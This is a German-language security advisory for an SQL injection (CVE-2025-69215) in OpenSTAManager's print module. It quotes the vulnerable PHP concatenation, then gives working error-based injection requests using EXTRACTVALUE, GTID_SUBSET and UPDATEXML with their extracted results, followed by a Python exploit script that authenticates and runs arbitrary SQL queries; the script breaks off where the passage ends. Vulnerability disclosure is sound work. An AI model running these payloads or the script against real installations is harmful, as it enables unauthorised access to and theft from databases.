
CVE-2025-69215 - OpenSTAManager hat eine SQL-Injection im Stampe-Modul.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-69215 |
| Schweregrad | HIGH |
| Sicherheitshinweis | Sicherheitshinweis ansehen |
| Entdeckt von | Lukasz Rybak |
modules/stampe/actions.phpcase 'update':
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
$dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
// ↑ Direct concatenation without prepare() sanitization
}
Der Parameter module aus den POST-Daten wird direkt in eine SQL-UPDATE-Abfrage konkateniert, ohne die Bereinigungsfunktion prepare() zu verwenden. Während der Parameter predefined mit intval() validiert wird, verfügt der Parameter module lediglich über eine !empty()-Prüfung, die eine SQL-Injection NICHT verhindert.
Verwundbares Muster:
// Line 25: intval() protects predefined, but module is not sanitized!
if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
// Line 26: Direct concatenation - VULNERABLE
$dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
}
POST /modules/stampe/actions.php
op=update
id_record=1
predefined=1 (must be non-zero after intval())
module=[INJECTION_PAYLOAD]
title=Test
filename=test.pdf
Fehlerbasierte SQL-Injection mithilfe der MySQL-Funktionen EXTRACTVALUE/UPDATEXML/GTID_SUBSET
POST /modules/stampe/actions.php
Content-Type: application/x-www-form-urlencoded
op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
Ergebnis:
Extrahierte Daten: MySQL-Version 8.3.0
module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
Ergebnis:
Extrahierte Daten: Datenbankname openstamanager
module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
Ergebnis:
Extrahierte Daten: Datenbankbenutzer [email protected]
Vollständiges Exploit-Skript: exploit_stampe_sqli.py
#!/usr/bin/env python3
"""
SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php
Usage:
python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
"""
import requests
import re
import argparse
import sys
from html import unescape
from urllib.parse import urljoin
class StampeSQLiExploit:
def __init__(self, base_url, username, password, verbose=False):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
})
def login(self):
"""Authenticate with username and password"""
login_url = urljoin(self.base_url, '/index.php')
if self.verbose:
print(f"[DEBUG] Attempting login to {login_url}")
print(f"[DEBUG] Username: {self.username}")
# First, get the login page to establish session
resp = self.session.get(login_url)
if self.verbose:
print(f"[DEBUG] Initial GET status: {resp.status_code}")
# Send login credentials with op=login parameter (required!)
login_data = {
'username': self.username,
'password': self.password,
'op': 'login', # Required for OpenSTAManager
}
resp = self.session.post(login_url, data=login_data, allow_redirects=True)
if self.verbose:
print(f"[DEBUG] Login POST status: {resp.status_code}")
print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")
# Check if login was successful
if 'PHPSESSID' not in self.session.cookies:
print("[-] Login failed: No session cookie received")
return False
# Check if we're redirected to dashboard or still on login page
if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
print("[-] Login failed: Still on login page")
if self.verbose:
print(f"[DEBUG] Current URL: {resp.url}")
return False
print(f"[+] Successfully logged in as '{self.username}'")
print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
return True
def inject(self, sql_query):
"""Execute SQL injection payload"""
# Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"
target_url = urljoin(self.base_url, '/modules/stampe/actions.php')
if self.verbose:
print(f"[DEBUG] Target: {target_url}")
print(f"[DEBUG] Payload: {payload}")
response = self.session.post(
target_url,
data={
"op": "update",
"id_record": "1",
"predefined": "1",
"module": payload,
"title": "Test",
"filename": "test.pdf"
}
)
if self.verbose:
print(f"[DEBUG] Response status: {response.status_code}")
print(f"[DEBUG] Response length: {len(response.text)}")
# Unescape HTML entities first
response_text = unescape(response.text)
# Pattern 1: XPATH syntax error with HTML entities or quotes
# Matches: XPATH syntax error: '~data~' or '~data~'
xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
if xpath_match:
result = xpath_match.group(1)
if self.verbose:
print(f"[DEBUG] Extracted via XPATH pattern: {result}")
return result